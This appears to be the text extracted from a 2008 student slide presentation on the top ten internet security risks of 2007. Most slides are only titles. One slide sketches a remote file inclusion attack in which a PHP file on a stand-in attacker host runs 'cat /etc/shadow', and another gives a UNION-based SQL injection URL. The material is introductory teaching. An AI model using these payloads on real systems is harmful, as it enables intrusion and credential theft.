Internet Security

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Presentation in english for first year at the institute of technology of Saint-Malo : Top-10 2007 Security Risks

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Internet Security

  1. 1. INTERNET SECURITY Top-10 2007 Security Risks Wednesday 6th May 2008 Yohann Lepage – Vincent Palierne
  2. 2. Summary
  3. 3. Client-side Vulnerabilities Client Server Network (Internet) Softwares Vulnerabilities
  4. 4. Web Browsers
  5. 5. Email Clients
  6. 6. Media Players
  7. 7. Clients-Side Vulnerabilities
  8. 8. Server-Side Vulnerabilities Client Server Network (Internet) Vulnerabilities
  9. 9. Web Applications Hacker www.mysite.com/index.php $>wget www.mysite.com/ Index.php index.php?page=www.haxor.com/cat Network <?php (Internet) include($page.'.php'); ?> Www.mysite.com/indexindex.php USER:PASSWORD Vulnerabilities root:S5AçéZl~] Linus:@ée)&#$*^% Httpd:Jpzi5z@° www.badguy.ru/cat.php cat.php <?php passthru(quot;cat /etc/shadowquot;); ?>
  10. 10. Database Software http://localhost/admin.php?module=news&id= -1 union select 0,1,database(),3,4,5,6,7 from membres--
  11. 11. Security Policy and Personal
  12. 12. Phishing/Spear Phishing
  13. 13. Application Abuse
  14. 14. Instant Messaging IM
  15. 15. Peer-to-Peer Programs
  16. 16. Zero Day Attacks
  17. 17. Conclusion Internet security is hard because :
  18. 18. End

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